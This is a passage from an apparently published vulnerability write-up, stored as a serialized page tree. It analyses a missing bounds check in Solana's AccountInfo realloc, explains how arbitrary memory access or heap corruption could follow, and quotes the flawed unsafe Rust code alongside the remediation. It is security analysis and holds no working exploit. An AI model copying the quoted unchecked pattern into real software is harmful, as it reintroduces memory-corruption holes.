post_len",{"type":25,"tag":201,"props":18417,"children":18418},{"style":261},[18419],{"type":31,"value":80},{"type":25,"tag":201,"props":18421,"children":18422},{"style":214},[18423],{"type":31,"value":15794},{"type":25,"tag":201,"props":18425,"children":18426},{"style":220},[18427],{"type":31,"value":298},{"type":25,"tag":201,"props":18429,"children":18430},{"style":261},[18431],{"type":31,"value":6077},{"type":25,"tag":201,"props":18433,"children":18434},{"style":246},[18435],{"type":31,"value":18436},"pre_len",{"type":25,"tag":201,"props":18438,"children":18439},{"style":220},[18440],{"type":31,"value":18441},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":25,"tag":201,"props":18443,"children":18444},{"class":203,"line":226},[18445,18450,18454,18458,18463,18467],{"type":25,"tag":201,"props":18446,"children":18447},{"style":261},[18448],{"type":31,"value":18449},"    ||",{"type":25,"tag":201,"props":18451,"children":18452},{"style":246},[18453],{"type":31,"value":18415},{"type":25,"tag":201,"props":18455,"children":18456},{"style":261},[18457],{"type":31,"value":15696},{"type":25,"tag":201,"props":18459,"children":18460},{"style":220},[18461],{"type":31,"value":18462}," MAX_PERMITTED_DATA_LENGTH ",{"type":25,"tag":201,"props":18464,"children":18465},{"style":208},[18466],{"type":31,"value":10349},{"type":25,"tag":201,"props":18468,"children":18469},{"style":4925},[18470],{"type":31,"value":18471}," usize\n",{"type":25,"tag":201,"props":18473,"children":18474},{"class":203,"line":278},[18475],{"type":25,"tag":201,"props":18476,"children":18477},{"style":220},[18478],{"type":31,"value":1822},{"type":25,"tag":201,"props":18480,"children":18481},{"class":203,"line":311},[18482,18487,18491,18495,18499,18503,18508],{"type":25,"tag":201,"props":18483,"children":18484},{"style":230},[18485],{"type":31,"value":18486},"    return",{"type":25,"tag":201,"props":18488,"children":18489},{"style":4925},[18490],{"type":31,"value":17244},{"type":25,"tag":201,"props":18492,"children":18493},{"style":220},[18494],{"type":31,"value":298},{"type":25,"tag":201,"props":18496,"children":18497},{"style":4925},[18498],{"type":31,"value":17253},{"type":25,"tag":201,"props":18500,"children":18501},{"style":261},[18502],{"type":31,"value":4988},{"type":25,"tag":201,"props":18504,"children":18505},{"style":4925},[18506],{"type":31,"value":18507},"InvalidRealloc",{"type":25,"tag":201,"props":18509,"children":18510},{"style":220},[18511],{"type":31,"value":308},{"type":25,"tag":201,"props":18513,"children":18514},{"class":203,"line":330},[18515],{"type":25,"tag":201,"props":18516,"children":18517},{"style":220},[18518],{"type":31,"value":1187},{"type":25,"tag":34,"props":18520,"children":18521},{},[18522,18524,18529,18531,18536],{"type":31,"value":18523},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":25,"tag":65,"props":18525,"children":18526},{},[18527],{"type":31,"value":18528},"finishes",{"type":31,"value":18530}," execution. ",{"type":25,"tag":65,"props":18532,"children":18533},{},[18534],{"type":31,"value":18535},"During",{"type":31,"value":18537}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":25,"tag":34,"props":18539,"children":18540},{},[18541,18543,18548,18550,18555,18557,18564],{"type":31,"value":18542},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":25,"tag":65,"props":18544,"children":18545},{},[18546],{"type":31,"value":18547},"arbitrary",{"type":31,"value":18549}," memory access through a mistakenly-",{"type":25,"tag":115,"props":18551,"children":18553},{"className":18552},[],[18554],{"type":31,"value":15140},{"type":31,"value":18556},"'d account, this falls in the relm of some ",{"type":25,"tag":71,"props":18558,"children":18561},{"href":18559,"rel":18560},"https://en.wikipedia.org/wiki/Buffer_overflow",[75],[18562],{"type":31,"value":18563},"old-school pwning",{"type":31,"value":18565}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":25,"tag":40,"props":18567,"children":18569},{"id":18568},"not-contracts",[18570],{"type":31,"value":18571},"Not-contracts?",{"type":25,"tag":34,"props":18573,"children":18574},{},[18575,18577,18582,18584,18594,18596,18607,18609,18616,18618,18623,18625,18630,18632,18645,18647,18652,18654,18659],{"type":31,"value":18576},"Remember when we said that all this code makes sense ",{"type":25,"tag":65,"props":18578,"children":18579},{},[18580],{"type":31,"value":18581},"if the data points to the BPF loader's serialized buffer",{"type":31,"value":18583},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":25,"tag":71,"props":18585,"children":18588},{"href":18586,"rel":18587},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[75],[18589],{"type":25,"tag":115,"props":18590,"children":18592},{"className":18591},[],[18593],{"type":31,"value":16437},{"type":31,"value":18595}," are public, and so is its ",{"type":25,"tag":71,"props":18597,"children":18600},{"href":18598,"rel":18599},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[75],[18601,18606],{"type":25,"tag":115,"props":18602,"children":18604},{"className":18603},[],[18605],{"type":31,"value":1911},{"type":31,"value":1407},{"type":31,"value":18608}," (which is ",{"type":25,"tag":71,"props":18610,"children":18613},{"href":18611,"rel":18612},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[75],[18614],{"type":31,"value":18615},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":31,"value":18617},"). The ",{"type":25,"tag":115,"props":18619,"children":18621},{"className":18620},[],[18622],{"type":31,"value":15140},{"type":31,"value":18624}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":25,"tag":115,"props":18626,"children":18628},{"className":18627},[],[18629],{"type":31,"value":16437},{"type":31,"value":18631}," ourselves - potentially through the ",{"type":25,"tag":71,"props":18633,"children":18636},{"href":18634,"rel":18635},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[75],[18637,18643],{"type":25,"tag":115,"props":18638,"children":18640},{"className":18639},[],[18641],{"type":31,"value":18642},"Account",{"type":31,"value":18644}," trait",{"type":31,"value":18646},", which is hardly documented at all and makes ",{"type":25,"tag":65,"props":18648,"children":18649},{},[18650],{"type":31,"value":18651},"no",{"type":31,"value":18653}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":25,"tag":115,"props":18655,"children":18657},{"className":18656},[],[18658],{"type":31,"value":5206},{"type":31,"value":18660}," buffer.",{"type":25,"tag":34,"props":18662,"children":18663},{},[18664,18666,18677,18679,18685,18687,18693,18695,18708,18710,18715,18717,18722,18724,18729,18731,18736,18738,18743,18745,18750],{"type":31,"value":18665},"One long arm of this is ",{"type":25,"tag":71,"props":18667,"children":18670},{"href":18668,"rel":18669},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[75],[18671],{"type":25,"tag":115,"props":18672,"children":18674},{"className":18673},[],[18675],{"type":31,"value":18676},"solana_sdk::account::Account",{"type":31,"value":18678}," - in the client SDK. It holds an account's data in a ",{"type":25,"tag":115,"props":18680,"children":18682},{"className":18681},[],[18683],{"type":31,"value":18684},"Vec\u003Cu8>",{"type":31,"value":18686},", and it implements ",{"type":25,"tag":115,"props":18688,"children":18690},{"className":18689},[],[18691],{"type":31,"value":18692},"solana_program::account_info::Account",{"type":31,"value":18694}," (the trait from earlier) - by ",{"type":25,"tag":71,"props":18696,"children":18699},{"href":18697,"rel":18698},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[75],[18700,18702],{"type":31,"value":18701},"returning a reference to the contents of that ",{"type":25,"tag":115,"props":18703,"children":18705},{"className":18704},[],[18706],{"type":31,"value":18707},"Vec",{"type":31,"value":18709},". So, ",{"type":25,"tag":115,"props":18711,"children":18713},{"className":18712},[],[18714],{"type":31,"value":15140},{"type":31,"value":18716}," writes the size into the 8 bytes right before ",{"type":25,"tag":115,"props":18718,"children":18720},{"className":18719},[],[18721],{"type":31,"value":5206},{"type":31,"value":18723},"; ",{"type":25,"tag":115,"props":18725,"children":18727},{"className":18726},[],[18728],{"type":31,"value":5206},{"type":31,"value":18730}," is the buffer of a ",{"type":25,"tag":115,"props":18732,"children":18734},{"className":18733},[],[18735],{"type":31,"value":18707},{"type":31,"value":18737},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":25,"tag":115,"props":18739,"children":18741},{"className":18740},[],[18742],{"type":31,"value":16437},{"type":31,"value":18744}," out of an SDK ",{"type":25,"tag":115,"props":18746,"children":18748},{"className":18747},[],[18749],{"type":31,"value":18642},{"type":31,"value":18751}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":25,"tag":26,"props":18753,"children":18755},{"id":18754},"remediation",[18756],{"type":31,"value":18757},"Remediation",{"type":25,"tag":34,"props":18759,"children":18760},{},[18761],{"type":31,"value":18762},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":25,"tag":34,"props":18764,"children":18765},{},[18766,18768,18773,18775,18780,18782,18793,18795,18800,18802,18809],{"type":31,"value":18767},"The sensible thing to do would be to store the initial size in the ",{"type":25,"tag":115,"props":18769,"children":18771},{"className":18770},[],[18772],{"type":31,"value":16437},{"type":31,"value":18774},"... except for the fact that the layout of ",{"type":25,"tag":115,"props":18776,"children":18778},{"className":18777},[],[18779],{"type":31,"value":16437},{"type":31,"value":18781}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":25,"tag":16970,"props":18783,"children":18784},{},[18785],{"type":25,"tag":71,"props":18786,"children":18790},{"href":18787,"ariaDescribedBy":18788,"dataFootnoteRef":7,"id":18789},"#user-content-fn-layout",[16977],"user-content-fnref-layout",[18791],{"type":31,"value":18792},"3",{"type":31,"value":18794}," So, with changing ",{"type":25,"tag":115,"props":18796,"children":18798},{"className":18797},[],[18799],{"type":31,"value":16437},{"type":31,"value":18801}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":25,"tag":71,"props":18803,"children":18806},{"href":18804,"rel":18805},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[75],[18807],{"type":31,"value":18808},"this function",{"type":31,"value":5997},{"type":25,"tag":191,"props":18811,"children":18813},{"className":4487,"code":18812,"language":4486,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[18814],{"type":25,"tag":115,"props":18815,"children":18816},{"__ignoreMap":7},[18817,18825,18833,18841,18849,18856,18864,18872,18920,18985,19051,19072],{"type":25,"tag":201,"props":18818,"children":18819},{"class":203,"line":204},[18820],{"type":25,"tag":201,"props":18821,"children":18822},{"style":4497},[18823],{"type":31,"value":18824},"/// Return the account's original data length when it was serialized for the\n",{"type":25,"tag":201,"props":18826,"children":18827},{"class":203,"line":226},[18828],{"type":25,"tag":201,"props":18829,"children":18830},{"style":4497},[18831],{"type":31,"value":18832},"/// current program invocation.\n",{"type":25,"tag":201,"props":18834,"children":18835},{"class":203,"line":278},[18836],{"type":25,"tag":201,"props":18837,"children":18838},{"style":4497},[18839],{"type":31,"value":18840},"///\n",{"type":25,"tag":201,"props":18842,"children":18843},{"class":203,"line":311},[18844],{"type":25,"tag":201,"props":18845,"children":18846},{"style":4497},[18847],{"type":31,"value":18848},"/// # Safety\n",{"type":25,"tag":201,"props":18850,"children":18851},{"class":203,"line":330},[18852],{"type":25,"tag":201,"props":18853,"children":18854},{"style":4497},[18855],{"type":31,"value":18840},{"type":25,"tag":201,"props":18857,"children":18858},{"class":203,"line":397},[18859],{"type":25,"tag":201,"props":18860,"children":18861},{"style":4497},[18862],{"type":31,"value":18863},"/// This method assumes that the original data length was serialized as a u32\n",{"type":25,"tag":201,"props":18865,"children":18866},{"class":203,"line":437},[18867],{"type":25,"tag":201,"props":18868,"children":18869},{"style":4497},[18870],{"type":31,"value":18871},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":25,"tag":201,"props":18873,"children":18874},{"class":203,"line":464},[18875,18879,18883,18887,18892,18896,18900,18904,18908,18912,18916],{"type":25,"tag":201,"props":18876,"children":18877},{"style":208},[18878],{"type":31,"value":15192},{"type":25,"tag":201,"props":18880,"children":18881},{"style":208},[18882],{"type":31,"value":16092},{"type":25,"tag":201,"props":18884,"children":18885},{"style":208},[18886],{"type":31,"value":15197},{"type":25,"tag":201,"props":18888,"children":18889},{"style":214},[18890],{"type":31,"value":18891}," original_data_len",{"type":25,"tag":201,"props":18893,"children":18894},{"style":220},[18895],{"type":31,"value":298},{"type":25,"tag":201,"props":18897,"children":18898},{"style":261},[18899],{"type":31,"value":4615},{"type":25,"tag":201,"props":18901,"children":18902},{"style":208},[18903],{"type":31,"value":15215},{"type":25,"tag":201,"props":18905,"children":18906},{"style":220},[18907],{"type":31,"value":385},{"type":25,"tag":201,"props":18909,"children":18910},{"style":261},[18911],{"type":31,"value":15259},{"type":25,"tag":201,"props":18913,"children":18914},{"style":4925},[18915],{"type":31,"value":15233},{"type":25,"tag":201,"props":18917,"children":18918},{"style":220},[18919],{"type":31,"value":327},{"type":25,"tag":201,"props":18921,"children":18922},{"class":203,"line":490},[18923,18927,18932,18936,18940,18944,18949,18953,18957,18961,18965,18969,18973,18977,18981],{"type":25,"tag":201,"props":18924,"children":18925},{"style":208},[18926],{"type":31,"value":4508},{"type":25,"tag":201,"props":18928,"children":18929},{"style":246},[18930],{"type":31,"value":18931}," key_ptr",{"type":25,"tag":201,"props":18933,"children":18934},{"style":261},[18935],{"type":31,"value":413},{"type":25,"tag":201,"props":18937,"children":18938},{"style":208},[18939],{"type":31,"value":15299},{"type":25,"tag":201,"props":18941,"children":18942},{"style":261},[18943],{"type":31,"value":80},{"type":25,"tag":201,"props":18945,"children":18946},{"style":220},[18947],{"type":31,"value":18948},"key ",{"type":25,"tag":201,"props":18950,"children":18951},{"style":208},[18952],{"type":31,"value":10349},{"type":25,"tag":201,"props":18954,"children":18955},{"style":261},[18956],{"type":31,"value":11319},{"type":25,"tag":201,"props":18958,"children":18959},{"style":208},[18960],{"type":31,"value":4074},{"type":25,"tag":201,"props":18962,"children":18963},{"style":246},[18964],{"type":31,"value":4544},{"type":25,"tag":201,"props":18966,"children":18967},{"style":208},[18968],{"type":31,"value":10335},{"type":25,"tag":201,"props":18970,"children":18971},{"style":261},[18972],{"type":31,"value":11319},{"type":25,"tag":201,"props":18974,"children":18975},{"style":208},[18976],{"type":31,"value":4074},{"type":25,"tag":201,"props":18978,"children":18979},{"style":4925},[18980],{"type":31,"value":16136},{"type":25,"tag":201,"props":18982,"children":18983},{"style":220},[18984],{"type":31,"value":461},{"type":25,"tag":201,"props":18986,"children":18987},{"class":203,"line":499},[18988,18992,18997,19001,19005,19009,19013,19017,19021,19026,19030,19034,19038,19042,19047],{"type":25,"tag":201,"props":18989,"children":18990},{"style":208},[18991],{"type":31,"value":4508},{"type":25,"tag":201,"props":18993,"children":18994},{"style":246},[18995],{"type":31,"value":18996}," original_data_len_ptr",{"type":25,"tag":201,"props":18998,"children":18999},{"style":261},[19000],{"type":31,"value":413},{"type":25,"tag":201,"props":19002,"children":19003},{"style":246},[19004],{"type":31,"value":18931},{"type":25,"tag":201,"props":19006,"children":19007},{"style":261},[19008],{"type":31,"value":80},{"type":25,"tag":201,"props":19010,"children":19011},{"style":214},[19012],{"type":31,"value":15403},{"type":25,"tag":201,"props":19014,"children":19015},{"style":220},[19016],{"type":31,"value":298},{"type":25,"tag":201,"props":19018,"children":19019},{"style":261},[19020],{"type":31,"value":5832},{"type":25,"tag":201,"props":19022,"children":19023},{"style":426},[19024],{"type":31,"value":19025},"4",{"type":25,"tag":201,"props":19027,"children":19028},{"style":220},[19029],{"type":31,"value":385},{"type":25,"tag":201,"props":19031,"children":19032},{"style":208},[19033],{"type":31,"value":10349},{"type":25,"tag":201,"props":19035,"children":19036},{"style":261},[19037],{"type":31,"value":11319},{"type":25,"tag":201,"props":19039,"children":19040},{"style":208},[19041],{"type":31,"value":4074},{"type":25,"tag":201,"props":19043,"children":19044},{"style":4925},[19045],{"type":31,"value":19046}," u32",{"type":25,"tag":201,"props":19048,"children":19049},{"style":220},[19050],{"type":31,"value":461},{"type":25,"tag":201,"props":19052,"children":19053},{"class":203,"line":522},[19054,19059,19064,19068],{"type":25,"tag":201,"props":19055,"children":19056},{"style":261},[19057],{"type":31,"value":19058},"    *",{"type":25,"tag":201,"props":19060,"children":19061},{"style":246},[19062],{"type":31,"value":19063},"original_data_len_ptr",{"type":25,"tag":201,"props":19065,"children":19066},{"style":208},[19067],{"type":31,"value":10335},{"type":25,"tag":201,"props":19069,"children":19070},{"style":4925},[19071],{"type":31,"value":18471},{"type":25,"tag":201,"props":19073,"children":19074},{"class":203,"line":531},[19075],{"type":25,"tag":201,"props":19076,"children":19077},{"style":220},[19078],{"type":31,"value":1187},{"type":25,"tag":34,"props":19080,"children":19081},{},[19082,19084,19089,19091,19096,19098,19103,19105,19110,19112,19119,19121,19128,19129,19136,19137,19144,19145,19152],{"type":31,"value":19083},"It's marked ",{"type":25,"tag":115,"props":19085,"children":19087},{"className":19086},[],[19088],{"type":31,"value":15858},{"type":31,"value":19090},", properly documented, but there's just one problem: we need this for ",{"type":25,"tag":115,"props":19092,"children":19094},{"className":19093},[],[19095],{"type":31,"value":15140},{"type":31,"value":19097},", which originally was not ",{"type":25,"tag":115,"props":19099,"children":19101},{"className":19100},[],[19102],{"type":31,"value":15858},{"type":31,"value":19104},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":25,"tag":115,"props":19106,"children":19108},{"className":19107},[],[19109],{"type":31,"value":15858},{"type":31,"value":19111}," block and added ",{"type":25,"tag":71,"props":19113,"children":19116},{"href":19114,"rel":19115},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[75],[19117],{"type":31,"value":19118},"a doc comment",{"type":31,"value":19120}," - adding to the ",{"type":25,"tag":71,"props":19122,"children":19125},{"href":19123,"rel":19124},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[75],[19126],{"type":31,"value":19127},"small",{"type":31,"value":7966},{"type":25,"tag":71,"props":19130,"children":19133},{"href":19131,"rel":19132},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[75],[19134],{"type":31,"value":19135},"pile",{"type":31,"value":7966},{"type":25,"tag":71,"props":19138,"children":19141},{"href":19139,"rel":19140},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[75],[19142],{"type":31,"value":19143},"of",{"type":31,"value":7966},{"type":25,"tag":71,"props":19146,"children":19149},{"href":19147,"rel":19148},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[75],[19150],{"type":31,"value":19151},"functions",{"type":31,"value":19153}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":25,"tag":26,"props":19155,"children":19157},{"id":19156},"towards-safer-unsafe",[19158,19160],{"type":31,"value":19159},"Towards safer ",{"type":25,"tag":115,"props":19161,"children":19163},{"className":19162},[],[19164],{"type":31,"value":15858},{"type":25,"tag":34,"props":19166,"children":19167},{},[19168,19170,19175,19177,19182,19184,19191],{"type":31,"value":19169},"Let's circle back to that main ",{"type":25,"tag":115,"props":19171,"children":19173},{"className":19172},[],[19174],{"type":31,"value":15858},{"type":31,"value":19176}," block inside ",{"type":25,"tag":115,"props":19178,"children":19180},{"className":19179},[],[19181],{"type":31,"value":15140},{"type":31,"value":19183}," for a bit, shall we? As a reminder, it looks like ",{"type":25,"tag":71,"props":19185,"children":19188},{"href":19186,"rel":19187},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[75],[19189],{"type":31,"value":19190},"this",{"type":31,"value":5997},{"type":25,"tag":191,"props":19193,"children":19195},{"className":4487,"code":19194,"language":4486,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[19196],{"type":25,"tag":115,"props":19197,"children":19198},{"__ignoreMap":7},[19199,19207,19218,19226,19313,19344,19351,19359,19486,19517],{"type":25,"tag":201,"props":19200,"children":19201},{"class":203,"line":204},[19202],{"type":25,"tag":201,"props":19203,"children":19204},{"style":4497},[19205],{"type":31,"value":19206},"// realloc\n",{"type":25,"tag":201,"props":19208,"children":19209},{"class":203,"line":226},[19210,19214],{"type":25,"tag":201,"props":19211,"children":19212},{"style":208},[19213],{"type":31,"value":15858},{"type":25,"tag":201,"props":19215,"children":19216},{"style":220},[19217],{"type":31,"value":327},{"type":25,"tag":201,"props":19219,"children":19220},{"class":203,"line":278},[19221],{"type":25,"tag":201,"props":19222,"children":19223},{"style":4497},[19224],{"type":31,"value":19225},"    // First set new length in the serialized data\n",{"type":25,"tag":201,"props":19227,"children":19228},{"class":203,"line":311},[19229,19233,19237,19241,19245,19249,19253,19257,19261,19265,19269,19273,19277,19281,19285,19289,19293,19297,19301,19305,19309],{"type":25,"tag":201,"props":19230,"children":19231},{"style":208},[19232],{"type":31,"value":4508},{"type":25,"tag":201,"props":19234,"children":19235},{"style":246},[19236],{"type":31,"value":15359},{"type":25,"tag":201,"props":19238,"children":19239},{"style":261},[19240],{"type":31,"value":413},{"type":25,"tag":201,"props":19242,"children":19243},{"style":208},[19244],{"type":31,"value":15299},{"type":25,"tag":201,"props":19246,"children":19247},{"style":261},[19248],{"type":31,"value":80},{"type":25,"tag":201,"props":19250,"children":19251},{"style":214},[19252],{"type":31,"value":15376},{"type":25,"tag":201,"props":19254,"children":19255},{"style":220},[19256],{"type":31,"value":15381},{"type":25,"tag":201,"props":19258,"children":19259},{"style":261},[19260],{"type":31,"value":4638},{"type":25,"tag":201,"props":19262,"children":19263},{"style":214},[19264],{"type":31,"value":15390},{"type":25,"tag":201,"props":19266,"children":19267},{"style":220},[19268],{"type":31,"value":15381},{"type":25,"tag":201,"props":19270,"children":19271},{"style":261},[19272],{"type":31,"value":80},{"type":25,"tag":201,"props":19274,"children":19275},{"style":214},[19276],{"type":31,"value":15403},{"type":25,"tag":201,"props":19278,"children":19279},{"style":220},[19280],{"type":31,"value":298},{"type":25,"tag":201,"props":19282,"children":19283},{"style":261},[19284],{"type":31,"value":5832},{"type":25,"tag":201,"props":19286,"children":19287},{"style":426},[19288],{"type":31,"value":5579},{"type":25,"tag":201,"props":19290,"children":19291},{"style":220},[19292],{"type":31,"value":385},{"type":25,"tag":201,"props":19294,"children":19295},{"style":208},[19296],{"type":31,"value":10349},{"type":25,"tag":201,"props":19298,"children":19299},{"style":261},[19300],{"type":31,"value":11319},{"type":25,"tag":201,"props":19302,"children":19303},{"style":208},[19304],{"type":31,"value":5228},{"type":25,"tag":201,"props":19306,"children":19307},{"style":4925},[19308],{"type":31,"value":7369},{"type":25,"tag":201,"props":19310,"children":19311},{"style":220},[19312],{"type":31,"value":461},{"type":25,"tag":201,"props":19314,"children":19315},{"class":203,"line":330},[19316,19320,19324,19328,19332,19336,19340],{"type":25,"tag":201,"props":19317,"children":19318},{"style":261},[19319],{"type":31,"value":19058},{"type":25,"tag":201,"props":19321,"children":19322},{"style":246},[19323],{"type":31,"value":15451},{"type":25,"tag":201,"props":19325,"children":19326},{"style":261},[19327],{"type":31,"value":413},{"type":25,"tag":201,"props":19329,"children":19330},{"style":246},[19331],{"type":31,"value":15460},{"type":25,"tag":201,"props":19333,"children":19334},{"style":208},[19335],{"type":31,"value":10335},{"type":25,"tag":201,"props":19337,"children":19338},{"style":4925},[19339],{"type":31,"value":7369},{"type":25,"tag":201,"props":19341,"children":19342},{"style":220},[19343],{"type":31,"value":461},{"type":25,"tag":201,"props":19345,"children":19346},{"class":203,"line":397},[19347],{"type":25,"tag":201,"props":19348,"children":19349},{"emptyLinePlaceholder":17},[19350],{"type":31,"value":496},{"type":25,"tag":201,"props":19352,"children":19353},{"class":203,"line":437},[19354],{"type":25,"tag":201,"props":19355,"children":19356},{"style":4497},[19357],{"type":31,"value":19358},"    // Then set the new length in the local slice\n",{"type":25,"tag":201,"props":19360,"children":19361},{"class":203,"line":464},[19362,19366,19370,19374,19378,19382,19386,19390,19394,19398,19402,19406,19410,19414,19418,19422,19426,19430,19434,19438,19442,19446,19450,19454,19458,19462,19466,19470,19474,19478,19482],{"type":25,"tag":201,"props":19363,"children":19364},{"style":208},[19365],{"type":31,"value":4508},{"type":25,"tag":201,"props":19367,"children":19368},{"style":246},[19369],{"type":31,"value":15359},{"type":25,"tag":201,"props":19371,"children":19372},{"style":261},[19373],{"type":31,"value":413},{"type":25,"tag":201,"props":19375,"children":19376},{"style":261},[19377],{"type":31,"value":8650},{"type":25,"tag":201,"props":19379,"children":19380},{"style":208},[19381],{"type":31,"value":5228},{"type":25,"tag":201,"props":19383,"children":19384},{"style":261},[19385],{"type":31,"value":11319},{"type":25,"tag":201,"props":19387,"children":19388},{"style":220},[19389],{"type":31,"value":15519},{"type":25,"tag":201,"props":19391,"children":19392},{"style":208},[19393],{"type":31,"value":15215},{"type":25,"tag":201,"props":19395,"children":19396},{"style":261},[19397],{"type":31,"value":80},{"type":25,"tag":201,"props":19399,"children":19400},{"style":220},[19401],{"type":31,"value":5206},{"type":25,"tag":201,"props":19403,"children":19404},{"style":261},[19405],{"type":31,"value":80},{"type":25,"tag":201,"props":19407,"children":19408},{"style":214},[19409],{"type":31,"value":15540},{"type":25,"tag":201,"props":19411,"children":19412},{"style":220},[19413],{"type":31,"value":15545},{"type":25,"tag":201,"props":19415,"children":19416},{"style":208},[19417],{"type":31,"value":10349},{"type":25,"tag":201,"props":19419,"children":19420},{"style":261},[19421],{"type":31,"value":11319},{"type":25,"tag":201,"props":19423,"children":19424},{"style":208},[19425],{"type":31,"value":4074},{"type":25,"tag":201,"props":19427,"children":19428},{"style":4925},[19429],{"type":31,"value":7369},{"type":25,"tag":201,"props":19431,"children":19432},{"style":220},[19433],{"type":31,"value":3073},{"type":25,"tag":201,"props":19435,"children":19436},{"style":261},[19437],{"type":31,"value":80},{"type":25,"tag":201,"props":19439,"children":19440},{"style":214},[19441],{"type":31,"value":15403},{"type":25,"tag":201,"props":19443,"children":19444},{"style":220},[19445],{"type":31,"value":298},{"type":25,"tag":201,"props":19447,"children":19448},{"style":426},[19449],{"type":31,"value":5516},{"type":25,"tag":201,"props":19451,"children":19452},{"style":220},[19453],{"type":31,"value":385},{"type":25,"tag":201,"props":19455,"children":19456},{"style":208},[19457],{"type":31,"value":10349},{"type":25,"tag":201,"props":19459,"children":19460},{"style":4925},[19461],{"type":31,"value":7369},{"type":25,"tag":201,"props":19463,"children":19464},{"style":220},[19465],{"type":31,"value":385},{"type":25,"tag":201,"props":19467,"children":19468},{"style":208},[19469],{"type":31,"value":10349},{"type":25,"tag":201,"props":19471,"children":19472},{"style":261},[19473],{"type":31,"value":11319},{"type":25,"tag":201,"props":19475,"children":19476},{"style":208},[19477],{"type":31,"value":5228},{"type":25,"tag":201,"props":19479,"children":19480},{"style":4925},[19481],{"type":31,"value":7369},{"type":25,"tag":201,"props":19483,"children":19484},{"style":220},[19485],{"type":31,"value":308},{"type":25,"tag":201,"props":19487,"children":19488},{"class":203,"line":490},[19489,19493,19497,19501,19505,19509,19513],{"type":25,"tag":201,"props":19490,"children":19491},{"style":261},[19492],{"type":31,"value":19058},{"type":25,"tag":201,"props":19494,"children":19495},{"style":246},[19496],{"type":31,"value":15451},{"type":25,"tag":201,"props":19498,"children":19499},{"style":261},[19500],{"type":31,"value":413},{"type":25,"tag":201,"props":19502,"children":19503},{"style":246},[19504],{"type":31,"value":15460},{"type":25,"tag":201,"props":19506,"children":19507},{"style":208},[19508],{"type":31,"value":10335},{"type":25,"tag":201,"props":19510,"children":19511},{"style":4925},[19512],{"type":31,"value":7369},{"type":25,"tag":201,"props":19514,"children":19515},{"style":220},[19516],{"type":31,"value":461},{"type":25,"tag":201,"props":19518,"children":19519},{"class":203,"line":499},[19520],{"type":25,"tag":201,"props":19521,"children":19522},{"style":220},[19523],{"type":31,"value":1187},{"type":25,"tag":34,"props":19525,"children":19526},{},[19527,19529,19534],{"type":31,"value":19528},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":25,"tag":115,"props":19530,"children":19532},{"className":19531},[],[19533],{"type":31,"value":17000},{"type":31,"value":19535}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":25,"tag":34,"props":19537,"children":19538},{},[19539,19541,19546,19548,19553,19555,19560,19562,19567,19569,19574,19576,19582,19584,19594,19596,19607],{"type":31,"value":19540},"First, let's deal with the ",{"type":25,"tag":115,"props":19542,"children":19544},{"className":19543},[],[19545],{"type":31,"value":17000},{"type":31,"value":19547}," borrowing issue. When we ",{"type":25,"tag":115,"props":19549,"children":19551},{"className":19550},[],[19552],{"type":31,"value":15376},{"type":31,"value":19554},", we get a ",{"type":25,"tag":115,"props":19556,"children":19558},{"className":19557},[],[19559],{"type":31,"value":18238},{"type":31,"value":19561}," back, which represents our borrow of the 